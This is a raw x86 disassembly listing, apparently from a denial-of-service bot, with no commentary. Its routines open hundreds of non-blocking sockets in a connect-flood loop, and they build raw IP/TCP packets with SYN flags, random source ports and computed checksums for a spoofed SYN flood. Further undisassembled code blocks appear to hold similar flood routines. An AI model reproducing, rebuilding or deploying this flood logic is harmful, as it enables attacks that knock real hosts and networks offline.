pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414251 proc near ; CODE XREF: ___:0041433Ap var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CB9D4 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_41430F push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_41429C: ; CODE XREF: sub_414251+B9j lea esi, [ebp+var_654] mov ebx, edi loc_4142A4: ; CODE XREF: sub_414251+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4142C7 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_4142C7: ; CODE XREF: sub_414251+64j add esi, 4 dec ebx jnz short loc_4142A4 lea esi, [ebp+var_654] mov ebx, edi loc_4142D5: ; CODE XREF: sub_414251+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_4142D5 push 64h nop call near ptr 2670E97h lea esi, [ebp+var_654] mov ebx, edi loc_4142F9: ; CODE XREF: sub_414251+B4j push dword ptr [esi] call near ptr 71AB1A6Dh nop add esi, 4 dec ebx jnz short loc_4142F9 dec [ebp+arg_4] jnz short loc_41429C pop edi pop esi pop ebx loc_41430F: ; CODE XREF: sub_414251+3Ej xor eax, eax leave retn sub_414251 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov edi, eax call sub_41C159 push dword ptr [esp+20h] mov ebx, eax call sub_41C159 mov esi, eax push esi push ebx push edi call sub_414251 add esp, 18h test eax, eax jnz short loc_414349 push 1 pop eax loc_414349: ; CODE XREF: ___:00414344j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_414358 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+636Bo dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF72EAh, 90565959h, 2CBC0BE8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143F7 proc near ; CODE XREF: ___:004146E5p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 test eax, eax jz short loc_414437 xor eax, eax jmp loc_4146A5 ; --------------------------------------------------------------------------- loc_414437: ; CODE XREF: sub_4143F7+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_41469D push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB9B4 cmp eax, 0FFFFFFFFh jz loc_414693 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CB9D4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB9D4 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB9D4 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB9D4 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 27804FCh lea eax, [ebp+var_8] push eax nop call near ptr 27802A0h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41DB20 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_414522: ; CODE XREF: sub_4143F7+25Dj ; sub_4143F7+26Bj mov [ebp+var_24], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 mov [ebp+var_34], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9D4 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CBA38 cmp eax, 0FFFFFFFFh jz short loc_414667 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27802A0h mov eax, [ebp+var_4] cmp eax, esi jg short loc_414690 jl loc_414522 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414690 jmp loc_414522 ; --------------------------------------------------------------------------- loc_414667: ; CODE XREF: sub_4143F7+247j call dword_4CB968 push eax lea eax, [ebp+var_F4] push offset dword_437AEC push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_414693 ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: sub_4143F7+25Bj ; sub_4143F7+269j mov ebx, [ebp+arg_8] loc_414693: ; CODE XREF: sub_4143F7+78j ; sub_4143F7+297j push [ebp+var_C] call dword_4CBA6C pop esi loc_41469D: ; CODE XREF: sub_4143F7+5Bj call dword_4CB92C mov eax, ebx loc_4146A5: ; CODE XREF: sub_4143F7+3Bj pop edi pop ebx leave retn sub_4143F7 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov esi, eax call sub_41C159 push dword ptr [esp+20h] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4143F7 add esp, 1Ch test eax, eax jnz short loc_4146F4 push 1 pop eax loc_4146F4: ; CODE XREF: ___:004146EFj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_414703 db 55h ; DATA XREF: sub_401ACD+6D3Do dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22CB85Ch, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h dd 4270B0h, 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 79A6h, 0E0458966h, 799DE8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_4149C1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5306o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270B0h dd 0E850D7FFh, 78ACh, 0FF6859h, 36A0000h, 15FF026Ah, 4CBA54h dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch, 0FFFBC085h dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h dd 535959FFh, 0B576E890h, 4D8D022Ch, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 0D7E8FFFFh, 59FFFF6Bh, 0F9E85359h, 90022CB4h, 0FDC4858Dh dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh dd 0E8905359h, 22CB488h, 458D106Ah, 0E85053BCh, 73ECh dd 660CC483h, 2BC45C7h, 15FF5300h, 4CB9D4h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 0C7E82D74h, 8B000076h dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CB9D4h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0D415FF06h dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 7FCBE8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh dd 200h, 753AE850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 8DE85359h dd 90022CB1h, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh dd 90535959h, 2CB0FBE8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_414F31 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414F23: ; CODE XREF: ___:00414F2Bj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414F23 pop edi cmp eax, 1 loc_414F31: ; CODE XREF: ___:00414F17j jnz short loc_414F3E mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_414F3E: ; CODE XREF: ___:loc_414F31j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_414F57 db 55h ; DATA XREF: sub_401ACD+6C68o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 66D0E8F0h, 5959FFFFh, 0F1E89056h, 55022CAFh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270B0h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 0B7CCE800h, 2B900227h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 6ED0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CB978h, 0FF68h, 0E8016A00h, 3B11h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D90468h dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh, 6068FFFFh dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h, 66000071h dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h dd 7155E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 69C55DE8h, 89669071h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_41525A dw 8B55h ; DATA XREF: sub_401ACD+4B97o dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 437C8Ch, 6FB4E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h, 0C483FFFFh dd 90006A14h, 2CAD2FE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h, 4CBA1415h dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CF1803Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D90468ACh dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h, 7A3D8966h dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6C64E8h, 0FF505900h dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h, 7C6852FBh dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h dd 4CED60h, 0FFF475FFh, 4CBA3815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 0CFE890FCh, 2B0227B2h, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6BADh, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch db 0ACh byte_41561D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6283o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 6010E8F0h, 5959FFFFh, 31E89056h dd 5F022CA9h ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_4156FA push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_4157B6 ; --------------------------------------------------------------------------- loc_4156FA: ; CODE XREF: ___:004156E4j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CB97C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CB9BC test eax, eax jnz short loc_41575E or eax, 0FFFFFFFFh jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_41575E: ; CODE XREF: ___:00415757j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_415769 loc_415765: ; CODE XREF: ___:00415789j ; ___:004157ADj mov eax, edi jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_415769: ; CODE XREF: ___:00415763j lea eax, [ebp-10Ch] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41578B lea eax, [ebp-210h] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jz short loc_415765 loc_41578B: ; CODE XREF: ___:00415778j lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop 